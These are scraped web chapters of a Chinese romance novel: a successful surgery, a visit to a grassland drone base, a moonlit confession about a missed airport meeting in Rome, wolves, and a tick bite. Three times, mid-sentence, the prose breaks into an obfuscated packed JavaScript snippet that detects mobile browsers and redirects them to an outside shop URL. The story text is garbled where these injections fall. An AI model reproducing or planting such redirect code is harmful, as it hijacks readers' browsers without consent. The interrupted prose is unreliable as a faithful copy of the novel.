陶涓依旧只是微笑。更好的选择。 楚舰这类人,看到一个人就会自动在心中给这个人评级,甚至划分类别。 他刚才的话,无非是说,她是最适合做他妻子的人选。但不是唯一。她只是符合他的既定标准。 可好笑的是,他所谓的“更好的选择”,大约是顾清泽没跑了,她对他从来没评判过,更不会比较、衡量、挑拣。 楚舰临走前还语重心长提醒她,“清泽人是很好,可是顾家太复杂了,他们家那滩浑水……唉,你以后多小心。如果有需要我帮忙的,只管跟我说。” 陶涓保持着笑容,“一定一定。” 楚舰离开后,沈峤才气喘吁吁回来,“谁来了?怎么回事?” 陶涓摊在床上,揉一揉笑酸的腮帮子,“唉,没事了,已经走了。” 她叫沈峤把那束向日葵拿去护士站,“送人吧!” 他们都说顾家浑水深,太复杂,太难搞,那顾清泽本人呢?他是个什么样的人?他喜欢什么?擅长什么?对什么感到着迷会一直钻研忘记吃饭? 他是冷酷的霸总,还是会对烈日下的小贩报以同情的年轻男孩? 是高高在上的贵公子?还是无论好奇的山村小孩提出什么奇怪问题都能耐心认真回答的大学男生? 无人在意。 从来都无人在意。 哪怕是在大学时,许多同学眼里的顾清泽也只是个每次请客负责埋单的工具人。 陶涓为顾清泽感到不平。 他这么好的一个人,他们在背后说起他时,却总会加一句:顾家太复杂。 沈峤走回来,笑嘻嘻的,“谁惹你生气了?怎么还嘟着嘴呢?” 和陶涓相处了几天后,两人比之前亲密了。 陶涓闷闷不乐,“没事。” 沈峤:“你不问问我,刚才怎么那么久才回来?” “哦。为什么呀?” “当然是因为我找主治医生求人情了呀!”沈峤对陶涓挤挤眼,小声说,“说好了!我们先出去一趟,下午再回来接着打点滴。” 陶涓恨不得抓沈峤过来亲两下! 她们到私立医院时顾清泽正在门口徘徊。一见她们立即迎上来,“来吧,都准备好了,术前最后一次模拟,我觉得你必须在现场见证。” 陶涓百感交集。 明明贡献最大的是他,可他却觉得她才是最大的英雄。 到了术前准备室,温医生做最后一次模拟,陶涓紧紧攥拳,又缓缓放松,她声音有点发颤,“我希望……这也是病人要做的最后一次模拟。”一次成功,此后人生顺遂平安,远离灾厄。 大家一起鼓掌,护士、医生们相互鼓励,“加油!手术一定会顺利成功。” 病人一直想哭,一位年长护士一直安慰她,一边用手帕吸走她眼角的泪,“就当睡一觉,睡醒就没事了。” 她哽咽着摇摇头,含糊不清、断断续续说:“今天是周六,我……跟奶奶约好视频……怎么办?” 她现在面目全非,话都说不清楚,怎么办? “给奶奶发条文字,说你长了智齿要拔牙,拔牙要麻醉,之后还有几天会说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362865|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清话,下周再视频。”陶涓谎话张口就来,说完自己想了想,又问顾清泽,“有漏洞吗?” 顾清泽认真思考一下,“没有。” 护士递给女孩手机,“对,你就这么写吧,下周会好很多。” 温医生:“没错。我保证。” 沈峤这时举手,“是真的!我做鼻综合两周后就能出门了,不凑近鼻孔看就像经前水肿似的,别担心。” 陶涓看向她,眼神惊讶:纳尼?看不出你这浓眉大眼的,也去做过鼻子? 沈峤眼神示意:我是安慰她的。 手术室红灯亮起,众人站在门外站了会儿各自散了。 顾清泽叮嘱沈峤,“下车以后打着伞,别觉得没多远就省事,最近太阳可毒了。”他看向陶涓继续说,“你连着在医院几天,一直在空调房里,更受不了这气温。” 陶涓默默点头,却站着不动,顾清泽走近一点,用只有他们俩能听到的声音说:“我得回太平一趟,晚上过来跟你一起吃饭。” 陶涓“嗯”了一声转头就走,沈峤呆一下,跟在后面小跑几步才追上。 车里冷气开得很足,陶涓一直闭目假寐,快到安真医院时还觉得脸上烫烫的。 下了车,沈峤按照顾清泽吩咐的打开一把大伞,和陶涓走进住院部大楼。 在电梯里,陶涓摸摸脸颊,果然还是烧的。 北市六月的太阳真毒。 手术比陶涓想象的结束更快。只用了一小时十五分钟。她那包点滴剩下的药水还没打完就收到了温医生的电话,实际的手术时间要更短一些,“很成功,AI辅助导航缩短了很多时间。” 虽然几次模拟的结果和实际所用的时间相差不多,但是模拟的结果只是数字,没有时间流逝的真实感,这下陶涓彻底放心了,她由衷笑出来,跟自己工作群的兼职们报喜,又偷偷给罗莹大刘发暗号,田田已经在她们几个拉的群里报了喜讯,李律师她们摩拳擦掌,接下来轮到她们上场,一定要让那个坏蛋多吃几年牢饭。 陶涓给雇员们结清工资又发了一轮红包后彻底放松下来,看着胶管里的药水一滴一滴落下,几乎一瞬间就睡着了。 再醒来时窗户外天空都黑了,顾清泽坐在窗户边,笔电屏幕上夹了个小灯,还在敲打键盘。 陶涓赶紧合上眼睛,又偷偷看了他一会儿,再次感叹自己真的就是个老筛眯呀,这辈子是改不了了,可是……这也是人之常情吧?顾清泽这么好看,她多看几眼,这不都是人之常情么?这确实不能怪她,对吧? 这么一想,她不由就笑出声了,顾清泽从屏幕后抬起头,笑眼盈盈,“你醒了?” 他又问:“你笑什么?” 陶涓摇摇头,可是笑意忍不住,“想到辛苦付出有了结果,开心的。” 他收起电脑,“我订的餐已经到了,你饿不饿?” 陶涓这才闻到食物的香味,“沈峤呢?” “今天让她提前下班了。” 陶涓这才注意到,小桌子上铺了块桌布,房间的花也换了,是一大捧茉莉。她不由起身去细细闻花香,不知道这些是什么品种,香味中带着点绿意和水润感。 顾清泽把餐盒放在桌上,摆上餐具,“我听说上午有人给你送花了?” 陶涓摸摸清香扑鼻的茉莉花,“我喜欢这束花。” “花店的人说,不会有人只送一大束茉莉花的。” “为什么?我挺喜欢的呀。”陶涓鼓励他,“相信自己的直觉。花店的人这么说,没准想卖给你更贵的花,也有可能,你把人家拿来搭配的便宜花买走了,人家不好做生意。” “嗯,我也想到了。我订了一大束薰衣草放在家,又订了几束他们店里最贵的花束送去温医生那里。”他想了想,“如果是有香味的花,我喜欢只有一种香味。”就像你送我那束芍药花。 陶涓在餐桌边坐下,“啊,真棒。感觉有点像在野餐。哎呀,我都不记起来上一次野餐是什么时候了。” 顾清泽只是笑。 吃饭时他告诉她,明天还要再去一趟昆士兰,完成一些产业交割。 陶涓有点失望,又不舍,不过嘴上却说,“你这次别忙着赶回来了,不要把行程安排那么紧,累了就休息。何况我已经好起来了,今天下午医生说我指标很好,感染已经控制住了。再观察两三天就能出院。” 顾清泽答应,“你放心,我会注意的,累了我就休息。”他停一停,“你也需要好好修养一下。” 她明显感到他在犹豫什么,“你是不是还有什么建议?” 他终于鼓起勇气,“我有个在做的项目,是大型无人机,在京北草原上,那里现在很适合避暑……” 他迂回地说了半天,问她,“你想不想一起去看看?”紧接着又说,“你刚才不是说想野餐吗?我们去草原,可以野餐……” 她立刻说,“好呀!我还从来没去过草原呢。”又问他这个项目做多久了,怎么从来没听他说起过。 顾清泽这时才听到自己的心跳,砰砰,砰砰,由剧烈渐渐平稳。 她竟然这么容易就答应了。一下子就答应了。 不敢相信。 跟她不知所云说了几句话才放松下来。 临走前他跟她约好,“等我一回来——不不,等你出院了,我们就去草原玩——啊,不是,去看无人机。” 陶涓笑,“好!”管它是去看无人机还是去玩,去草原还是去沙漠呢,他邀请她,她一定会去。 45.白马 曹艺萱说,没有什么比一场旅行更容易展现一个人的本色。 你要想知道他的真实想法,就和他一起去旅行。 直到从飞机舷窗看到大片的草地和云朵,河流,陶涓还有点不太相信,她已经离开了北市,前往草原。 现在突然有点害怕,还有点后悔,但来不及了。 她看看坐在她对面的顾清泽,告诉自己,这将是一次冒险。 一个多小时前,飞机从密云机场起飞,现在已经开始降低飞行高度。 从机场到无人机基地驱车还要半小时路程,六月草原近看比从空中俯瞰更美,一路上随处可见各色野花,是这块绿绸子上的绣花。可惜没有风吹草低见牛羊的景象,来接他们的司机是当地人,说现在是轮牧,这附近要到七八月才有牧民赶着羊来。 接近基地时陶涓才意识到这个项目远比她想象的大得多,蓝色的长方块厂房在草地上连成一片,顾清泽一一指给她看:那里是存放试验用的几台无人机的仓库,那里是实验室,工厂,那边红色屋顶的是宿舍。 陶涓悄悄感到有些羞愧,她真以为是来玩的,可他是在认真工作。 会不会,是她会错了意? 车子离园区大门还有几百米远,就听到一阵此起彼伏的狗吠,几只几乎有小马驹那么大的狗在铁门另一边来回跑动,呲着牙示威。 还好几个员工跑来呵斥它们,又牵着铁链把它们领到一边,不然陶涓真不敢下车。 大门朴素简单,灰色石头上方立着蓝色铁牌,白底红字“白马科创研发基地”。 铁门打开,车队驶进大门后又缓缓走了十几分钟才在一座高大的飞机仓库前停下。 仓库里一溜停着五架飞机。每一架的机型都不同,最大的那一架和他们今天乘坐的私人飞机差不多大小。 陶涓很受震撼,“来之前你没说是这么大型的无人机啊……” 顾清泽笑容里带点狡黠的小骄傲,“你也没问呀!” 她走到最大那家飞机前,“这架最大能运多少吨货物?要5吨以上了吧?” “7.8吨。”他挺惊讶,“你没做过任何无人机的项目呀……”怎么还挺清楚这些细节。 陶涓微微有点羞愧,又很感慨,“我一直没忘记那年暑假你提出的项目。”所以总是会留意这方面的信息。 去过那个贫困偏远的山村后,返程的火车上顾清泽提出做个无人机的项目,这次不是跟学校申请资金、准备参加什么竞赛的小打小闹,是真正搞开发。 陶涓很支持,也给了不少实用的意见,但是,她从没考虑过要参加这个项目,她已经决定去方舟实习。顾清泽和她最大的争吵,互放狠话,拉黑……也全都是从这开始。 她支持顾清泽去创业,去闯荡,可她没有这种奢望。她只要一份按部就班的安稳工作。 顾清泽当时大怒,质问她为什么,她不敢说出真话。为什么?因为你有人托举,有家族信托基金,而我,我输不起。我只能靠自己立足在这个社会。我人生的容错率很低,只要行差踏错一步,有可能人生就会偏离我预定的轨道…… 顾清泽问她,“如果我现在,重新邀请你参与这个项目,你会愿意吗?” “我愿意。”陶涓说完笑了,她都不知道,原来自己心里这么多年结着一个疙瘩,这个结刚才突然自动打开了。 她对着湛蓝天空叹气,现在回头看来,她仍然不认为当年的自己选错了。她从来不会在重大抉择上去赌。她只会用自己的方式去积累,去验证。 她花了这么多年,受了这么多罪,才终于明白,人生没有什么既定的轨道,也没有标准答案,钱更不是一切问题的终极答案。 为那个受伤的小姑娘重新调整算法,她不仅一分钱没赚还要自掏腰包给兼职们发工资,可听到手术成功那一刻,她比从前任何一次都更有成就感。 人生没有什么捷径,得到的每一分领悟都要付出代价。就像修真小说里的修士,单凭吞丹药,不经天劫雷电淬炼可没法从筑基到飞升。最近这番醒悟,花了十几年时间去煎熬。 “我后来理解你的选择……”顾清泽至今对陶涓抱有歉意,那时候的他是个多么以自我为中心的混蛋啊,她明明跟他说过她的家庭情况,父亲早亡,母亲再婚,可他执拗地认为,她就是应该拉着他的手跟他一起冒险。 他没看到她的困境。她要多走多少路,经历多少人心险恶世态炎凉,才能终于走到现在这一步。 “你怎么比我还感慨!”陶涓笑呵呵给顾清泽一拳,“你什么时候想起来做这个项目的?” “三四年前吧……我又去了我们去过那个村子,就开始这个项目了。” 十年前山村几乎没有像样的路,但有最甜的山泉,茶树,桃子,还有各种山货,梯田里的鱼也很好吃。 陶涓跟顾清泽闲聊时讨论,要是可以用大型无人运输机把山货运出去就好了。 “那里变了很多吧……”陶涓忽地想起了什么,她再次抬头看仓库大门上的油漆彩标,一匹在祥云中飞驰的白马。白马。白马村! 一位工程师骄傲地告诉她,“我们的飞机就叫白马!” 顾清泽忽然感到耳廓发烫,像是心底的秘密给暴露在阳光下了,有点不太自在地咳了一声,说,“你饿了吗?我们去食堂吃午饭?” 这里的食堂相对简陋,食物的味道也说不上美味,可陶涓吃得很开心,吃饭的时候跟顾清泽还有基地的几位负责人又聊了很多。 这五台无人机是委托安市的航空制造所生产的,最大那架巡航高度6000米,时速最高五百公里,目前测试最长的飞行距离是2500多公里。 只有最小的那台是由项目组自己设计的,但也仍是委托制造。不仅从原型到自主设计并且量产有很长的路要走,无人机的航路规划,操纵员的培养,三四级城市的货运机场的网络联系……每个方面都面临各种问题。 但大家都很乐观,大型无人运输机的用途太广了,如果完成航路和机场的基础铺设,运输成本会快速降低,因为反正是运货嘛,不需要考虑气密舱,路线固定。同等规模的载人机要3-4名机组人员,无人机的话,一个操纵员可以同时操纵多台飞机。 而且,因为不用考虑机组或乘客的生存问题,那无人机就能在更为复杂的地形起降,顾清泽还想选几个机型优化,争取把飞机起降必须用的跑道长度缩短到100米以内。 这显然就是军事方面的应用了。 黄昏时基地试飞了一架无人机。这架飞机正是第一台自主设计的“白马-7号”,载重量1.8吨,飞行高度4500米,在一小时后到达内蒙草原的某个机场,再返航。 操控室的大型屏幕上显示着航线网络,代表白马-7号的小亮点一闪一闪缓慢移动。 大家一起等待着,两个多小时后,空中再次传来引擎轰鸣声,由远及近,白马-7号在简陋的跑道着陆成功,陶涓和所有人一起鼓掌,她笑着凑近顾清泽,低声说,“你也不是只干了点赚钱的事啊!这还不厉害吗?” 顾清泽忽然感到不好意思,一股热气从靠近她的那半边肢体传过来,头脸好像忽然被一条温软丝巾轻轻笼住,他很担心自己会控制不住做出什么出格的举动——幸好,郑纶“嘭”地拧开庆祝的香槟,在欢呼和掌声中为大家倒满酒杯,还有人播放起欢快的音乐,有人跟着唱起歌,喧闹声很快充斥操控室。 如果大家都是这么兴奋激动,那么他也就不显得太过出格了吧? 也许因为草原格外空旷,顾清泽和陶涓走出机房很远,还能听到音乐和歌声,夹杂着口哨和欢呼声。 这方圆几十里、也许上百里,目之所及的地方只有他们身后的基地有光源,可走在户外一点也不昏暗,一轮玉盘般的圆月挂在天空,那么大,那么亮,把远处的草都照成了苍白色,像覆了一层霜。 陶涓不由念道:“皎皎空中孤月轮。” 顾清泽一听就笑了,“下句是什么?” “下面几句是人生的终极哲学思考,这我绝对忘不了!”陶涓看了他一眼,笑着继续看月亮,“江畔何人初见月?江月何年初照人?”说完,轮到她考他了,“下句是什么?” 顾清泽思索一会儿,“不知江月待何人,但见长江送流水……?记不清了。” 她看向远方,这里是草原,不是长江畔,可是微风吹动,草叶在月色下是灰绿色,起伏波动,远看与一片无垠的水域无异…… “你为什么和周测分手?我一直以为……你们会结婚的……”顾清泽突然间问出了压在他心口很久的问题。 陶涓沉默了好一会儿,开口讲的却是风马牛不相及的事,“我小时候,大概是小学二年级?还是三年级?总之,是我爸过世之后,我妈被派去国外进修,我在姥姥家住……” 又停了一会儿,她才继续,“那年六一儿童节放假,舅妈带着我和表姐去动物园玩。当时动物园可以骑骆驼骑马,好像还有骑鸵鸟的?” 她笑了一下,像是沉浸在记忆中,脸上有微微笑意,“我和表姐都喜欢骑马——不是真骑,就是坐在马上拍个照,多付十块钱的话马夫还会牵着马走一圈。那天有匹特别漂亮的白马,头上戴着红绸子做的花,好多小朋友都想骑这匹白马,队排得老长了,可是小朋友们不管,就算晒着大太阳也要排!我和表姐也排着队,舅妈去给我们买汽水……” 她又停住。这次停得更久。顾清泽并没催促,只是悄悄握住了她的手,他有种不太好的预感,虽然她现在好好的站在他身旁,可是多年前的那一天,一定发生了什么让她非常难过的事。 “……就在排队的时候,那匹白马突然倒在地上了!把它身上骑着的小孩也压着……可能是太累。骑它的人太多了!唉,可怜的家伙!马夫抽打它,它爬起来,乱哄哄的,有人把受伤的小孩拉出来,白马尥着蹶子嘶吼,踢伤了马夫跑了……” “排队骑马的小朋友们当然惊慌失措,场面乱到极点,大人叫,孩子哭……我和表姐吓傻了,然后,我拉着她往铁栏杆那儿跑——是什么动物笼子的栏杆?大概是猴山吧?我想着,站在栏杆的水泥墩子上,既不会被马撞到,也不会被人群踩踏,这时我舅妈跑回来了……” 她语气平静地叙述,“明明她离我更近,可那时她就像看不到我一样,冲去拉更远的表姐……” “那天晚上,我没睡着,我听见舅妈在哭……我偷偷跑到她和舅舅房门外偷听,听见她跟舅舅哭着说,觉得很对不起我,对不起我妈。可是——可是我舅妈是很好的人,她对我也真的很好。我从来不因为这件事怪她……” 顾清泽轻声说:“人在危急关头,先想到的是自己孩子的安全,这是本能。” “对。我也是这么想的。”她垂头苦笑道,“可我就是想被毫不犹豫地选择一次。” 哪怕一次。 现在再说出这些话,她已经能够很平静了,“周测,他从来没有选过我。或者说,我从来不是他的优先选项,手术、进修、病人的生死……都比我重要。” “也许我真要逼他选,他在衡量之后会选我一次,可我不要这种理智衡量比较之后的选择。”陶涓摇摇头,忽然释然地笑了。 现在想想,真的有点可笑。 周测向她求婚是孤注一掷,她去米兰找他也是孤注一掷。 后来她甚至有点感激那天突然发生的事,如果那天医院没有突然收到心源,如果他的同事没在火车开动前打电话给他,她到底要什么时候才能不再自欺欺人? 幸好在米兰火车站她终于醒悟了。 “我没告诉过你吧,在我们分手前几个月,他还向我求婚了。”陶涓都不知道自己是在笑周测,还是在自嘲。 “我知道。” 陶涓一时间以为自己听错了。她顿了一下,才迟疑地转过头,“你知道?” 他垂眸凝视她,“我知道。他在罗马的菲乌米奇诺机场向你求婚,带了一束香槟色的玫瑰。” 陶涓震惊得无以复加,完全想不起来那天周测带了什么花。 顾清泽轻轻说,“因为我当时就在那里。在你身后的休息室里。” 他一直以为她也拉黑了他,可两人仍有共同的微信群——从前的项目小组群。 项目结束后这个群被大家遗忘,从来没人在群里说话,他将群置顶了。 在群成员列表里,长按她的头像,就能看到她的朋友圈*[注1]。 可惜,她一向很少发朋友圈。而且还不喜欢发自拍。很多时候只是一句话,或者一片特别好看的叶子,一块美味的蛋糕。 刚毕业时每个月可能发一两次,后来渐渐稀少。甚至有一年,整整一年都没发一条。 可他总是会去看看。 三四年前,一个夏日,她突然发了一条:我要去米兰。她还抱怨说最后一分钟才买到机票,只能在罗马转机,幸好,机场有她能薅羊毛的休息室。 他动了心思。 为什么不去见见她? 设计一场偶遇。 向她当面道歉,请她原谅。 如果她愿意原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365929|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谅他,他们可以重新做朋友…… 如果她不愿意……大家可以立即各奔东西。在机场嘛,很方便。 他连去哪儿都想好了。 布宜诺斯艾利斯。 这地方在地球仪上看无论从哪个方向都离她的所在地最远。 他犹豫了很久,终于在她飞机落地前两小时赶到菲乌米奇诺机场,匆匆忙忙去了那间贵宾休息室。 休息室里当时播着轻音乐,音乐悦耳,声量也很低,可他越听越烦躁,只能两手揣在口袋里,捏着忘了从哪儿来的一枚一欧元硬币反复摩挲,试着镇定下来。 他心想,如果她原谅他,他就说实话,这场“偶遇”是在他设计的,可是……那她就会问,你是怎么设计的?他只能老实坦白,说这五六年,他一直在偷窥她的朋友圈。 或者,不用当场就说实话,就假装是场偶遇,以后再告诉她实情。 那她一定会问,你来罗马干什么? 他要怎么回答? 他这时才想到,自己反复计划行程,计算时间,想象他们见面的情形,却一直没想到要编个什么借口。 就说……来旅行? 那她又会问,自己旅行? 那又怎么样?你不是也自己旅行吗? 他一面想,一面在休息室中踱步,盯着大门的方向,忽然,她出现了! 她穿了身无袖的米色针织连衣裙,肩上披一条淡蓝色间棕色波点的丝巾,瘦了很多,拉行李箱的时候,腕骨都微微凸出,头发可能在飞机上打了辫子刚解开,所以发丝蓬松卷曲,她明显有些疲惫——这趟飞机是红眼航班,她一定没休息好,因此显得神情也有些郁郁。 她越走越近,他的心跳也越来越快,不知什么时候起全身僵硬,像被咒语定在原地,突然间,魔咒解开,他拔腿走向大门,侧着身体,扭脸一直看着她—— 就在距离大门几米远的地方,她停住了,接了个电话。然后向后顾盼。 顾清泽顺着她看的方向看去,一个高大英俊的男人握着一束玫瑰花,微笑着向她走来。 是周测。 就像多年以前他陪她从机场回到校园的那个夜晚,她看到周测后,周围的一切不再存在。全是背景板。 顾清泽呆住了。 心脏有可能也呆住了。或者出了什么故障。 因为他能感到心脏在动,泵出的血液却是冰冷的。 他惊恐地看着周测从西服内袋取出一只小盒子,对她微笑低语,打开盒子——里面是一枚戒指,绝无可能看错!隔着那么远都能看到戒指上钻石光芒闪烁,像一颗晶莹的泪滴。 周围的旅客都在为他们欢呼,鼓掌,她看着自己的手指,泪盈于睫。 顾清泽闭上眼睛。 心脏运作失灵的症状还在延续。冰冷的血液在嫉妒的毒火下熊熊燃烧,把他整个人都烧化了,他自己都奇怪,为什么没有变成一滩岩浆落在地上。 “你也在那里?”陶涓又问了一次,她还是不太相信,“竟然会这么巧?” 顾清泽终于坦白,“不是巧合。我一直在偷窥你朋友圈。看到你要去米兰,在罗马转机,我特意从波士顿飞去的。” “你想跟我……想跟我道歉?重归于好?”陶涓再一次感到震动,起初的惊讶渐渐退潮,留下小小的得意和开心——竟然有人曾经对她这么花心思,而那个人还是顾清泽!可是这小小的得意和开心立刻又变得沉甸甸的,说不清是为什么。 他看着她的眼睛,沉默。 这段沉默时间过长,在溶溶月色下混合草原的清风发酵成了别的东西。 陶涓突然感到无来由的慌张,她想起来重逢后带顾清泽回自己家的时候,和他对视时就会感到一种奇异的触感,像干燥空气里充满静电,头发一根根悬浮直立,脸上的寒毛可能也是这样剑拔弩张的状态,像突然间长了很多小触须,感应到许多平时无法感知的物质,这些物质看不见,可确实存在。 顾清泽微微向她靠近一点,“我……”他刚要说什么,一阵粗暴的狗吠打破月夜的宁静。 两人愣一下,这群狗叫的声响和早上不大一样。 像是要证实他们的怀疑,厂房的方向响起尖利的哨声。 顾清泽抓住陶涓手腕,“走!有狼!” 幸好他们走得并不太远,跑向食堂时,陶涓看见几只大狗隔着铁栅栏向外咆哮蹦跳,就在栅栏外,一对绿莹莹的小灯泡闪了闪,她仔细一看,月色下只有浅灰色的轮廓,真的是狼! 那狼可要比这群狗冷静得多,它顺着围栏缓慢而暗合节奏地走,狗群追上去继续扑叫,在更远的地方,风吹动高高的草,现出更多“小灯泡”。 陶涓躺在宿舍的床上跟曹艺萱说起这事还挺兴奋,与其说她是惊魂未定,倒不如是说是新奇刺激。 曹艺萱都服了,“姐姐,狼会跳的,两米高的铁栅栏算什么,插着碎玻璃的围墙算什么,你可把门锁好,要是听见敲门,先问是谁,没有回答绝不能开!” “啊?为什么?” “为什么?你没看那个会敲门、会拧门把手开门的熊的视频吗?” “……那是在青海吧?是藏马熊。” “内蒙就没有熊吗?狼也很聪明呀!”曹艺萱又说了几句才发觉自己又被带偏了,“嗨呀,管它是熊是狼呢,你说重点!有进展吗?” “有!” “快讲讲!发生什么了?”曹艺萱激动催促。 可是,陶涓只是笑。 她第一次发现,原来有些开心的事,是不想跟别人分享的。哪怕是闺蜜。 曹艺萱嗷嗷狼叫了几声,缠着陶涓逼问,“快说,快说嘛!不然我今晚睡不着了!” 房门忽然笃笃笃响了几声,陶涓一愣,“谁呀?” 顾清泽在门外回答,“是我。” 曹艺萱猥琐一笑,“狼来了!” 陶涓结束语音通话。 她打开门,顾清泽端了一只小搪瓷杯,“热牛奶。”又从兜里拿出纸巾包的两块饼干,一起递给她,“我看晚饭好像不太合你胃口。” 他没多留,指指斜对面的房间,“我住那一间,有事叫我。你对门是沈峤。” 热过的牛奶有种特殊的香气。 顾清泽给她的饼干,是两块麦维奇消化饼。她拈起一块,往牛奶里蘸一蘸,饼干浸了牛奶,更加香甜。 从前熬夜的时候——在波士顿备战,在实验室写报告等数据,她喜欢这样吃饼干,可惜并不是总有热牛奶。 没想到他还记得。 46.月色 第二天陶涓醒的很早。 天空蓝得不可思议,她想起小时候读《海的女儿》,书上说小美人鱼“矢车菊色的眼睛”,大约就是这样的蓝吧。 吃完早餐她和顾清泽参加了会议,昨天的飞行数据反馈出来了,大家讨论哪些是还可以改进的。 顾清泽和原先说的一样,敞开了所有权限,让她看他的算法设计。 陶涓心花怒放,还要在众人面前装得若无其事,假装没看到几个程序员交换震惊的眼神。 唉,可惜曹艺萱不懂这个行为的意义。 午休的时候陶涓在自己房间里压低声音跟她讲了,结果人家来句:“啊?就这?” 陶涓想了半天,只好举个不恰当的比喻,“就像你把手机密码和所有社交媒体账号登录密码告诉了一个人一样!” “啊啊啊啊啊——”曹艺萱这才哇哇大叫,“你早说啊!”然后,她又问,“那网银密码也告诉你了?” 陶涓:“……你怎么这么不浪漫!” 曹艺萱:“呵呵,恕我等凡人不懂你们程序员的浪漫啦!” 这天下午五六点,食堂的大叔大婶在一块空地上架起柴堆烤架,准备烧烤,今晚还要搞个篝火晚会,欢送顾总参观指导圆满成功。 陶涓跟沈峤站在旁边看了会儿热闹,想帮忙吧,这个看起来是技术活儿,正研究人家怎么搭木柴呢,顾清泽走过来提醒她们,“别一直站着不动,草里还有砂石地上都有小虫子,会跳到人身上,也容易被蚊子叮。” 沈峤心里大乐,到她表现的机会了!她从容地从斜跨小包里拿出几支小喷瓶分给大家,“这是我特地让朋友从新西兰寄的,驱虫防蚊效果一流。” 郑纶斜眼看着,也不作声。其实从北市出发前他就给大家发了一轮防虫喷剂。 陶涓接过来,“谢谢小峤。”然后朝自己手腕脖颈喷了喷,又催顾清泽,“你也喷点呀,你最招蚊子咬了。” 顾清泽听话地朝手背上喷了两下,又解开衬衫袖扣,陶涓想起帮他卷袖子的情景,莫名脸上一热,想把目光移开,或者跟沈峤说句无关紧要的话,可余光却像瞄到他左手腕上有个黑点。 从前好像没留意他手腕上长了痣…… 哎呀,不对! “等等!”她抓住他手腕,仔细一看,这哪是黑点呀,是一个浅褐色的半拉西瓜子似的的东西——或者说某种寄生虫的身体! 郑纶凑过来一看,“啊呀,是蜱虫!” 顾清泽是万万没想到自己会成为蜱虫受害者。他穿了长靴,不仅不卷起袖子还扣紧了袖扣,本以为防护得天衣无缝呢。 他也没感到疼或痒,什么时候成为受害者的? 陶涓庆幸,“幸好你刚才提醒我们,这才发现了!” 郑纶已经跑去叫基地的急救员小李了。 小李当过兵,学过急救,不过拿蜱虫没办法,“牧民的法子是拿根香烫它屁股,虫子有时候就掉下来。”不过,几率不大,可能一半都不到。 陶涓当机立断,“还是去卫生院吧!” 被蜱虫叮咬可大可小,被携带病原菌的蜱虫可能会被感染莱姆症或者森林脑炎。 她伸手探探顾清泽额头,“好像,有点烧?有温度计吗?”感染莱姆症的初期症状之一就是发烧。被叮咬之后赶快打针是可以防治的。 小李用探针式温度计测了耳温,“37.2度,顾总你平时正常体温多高?” “还好。”顾清泽不确定自己是在发烧,还是因为尴尬,又或者是因为陶涓一直在摸他额头。 他叫郑纶,“去卫生院吧。”去了能让陶涓放心。 陶涓立刻说,“我也去!” 顾清泽:“你就别去了,最近的卫生院也要开一个多小时车,路又不好。我怕你晕车。”何况,是处理寄生虫这种事。 陶涓坚持,“我留在这儿会担心,会睡不着,我睡不好,明天坐车、坐飞机肯定会晕车。我跟你一起去,倒不一定会晕车。” 小李掏出手机:“我先联系卫生院,待会儿人家下班了——提前让他们留个人。” 顾清泽没再拒绝陶涓。 上车时他要坐在左边,陶涓拦住他,“你坐右边,我不怕。” 顾清泽知道她看出自己心思,解释,“好好,不怕,可是也恶心呀!我自己看一眼都起鸡皮疙瘩了,还觉得全身痒。” 陶涓哭笑不得,“我也不觉得恶心,也没觉得痒。别啰嗦了,咱们快点去卫生院。” 顾清泽这才不情愿地从右侧上车。 一路上他捏着袖口,斜着左臂,怕那可怕的虫子碰到陶涓。 陶涓又气又好笑,又觉得窝心,“唉,你呀……”终于伸手拨拨他头顶的头发,又乱揉一下。 “你干什么?”顾清泽嗔笑着躲闪。 “帮你看看头发里藏虫子了没!”陶涓口是心非,她笑着侧脸看他,她早就想这样乱拨拉他头发了,从来没这么干过。好像潜意识里在刻意保留着某种身体接触的界限。 快到卫生院时,红日西斜,夕阳余晖将整片草原染成金色,空气中弥漫着草叶和泥土的芳香,不知名的鸟成群从粉色的天空飞过。它们飞得那么高,像画家随手一甩画笔洒在画卷上的一群小黑点,只是移动得很快,像是要抢在最后一缕日光消失前飞到目的地。 卫生院还真是个小院,在镇小学斜对面,一位医生等着他们,是个中年大叔,众人一下车他就问,“是谁被咬了?” 陶涓举起顾清泽的左臂,“他!”然后补充,“我们昨天上午到的,但是不清楚什么时候被咬的……” 医生笑着摆下手,“好的哈,不怕。咱们先处理。” 到了医务室,医生用小镊子取下了蜱虫,又给伤口消毒,“没事啊,咱们旗最近几年还没出现过携带莱姆症病原体的蜱虫,而且,我观察伤口,你被叮咬的时长最多几小时,虫子被移除后病原体还没足够时间进入血液循环,问题不大。不过,先留下观察一晚上。” 医生是在治疗顾清泽,但这些话是朝着陶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 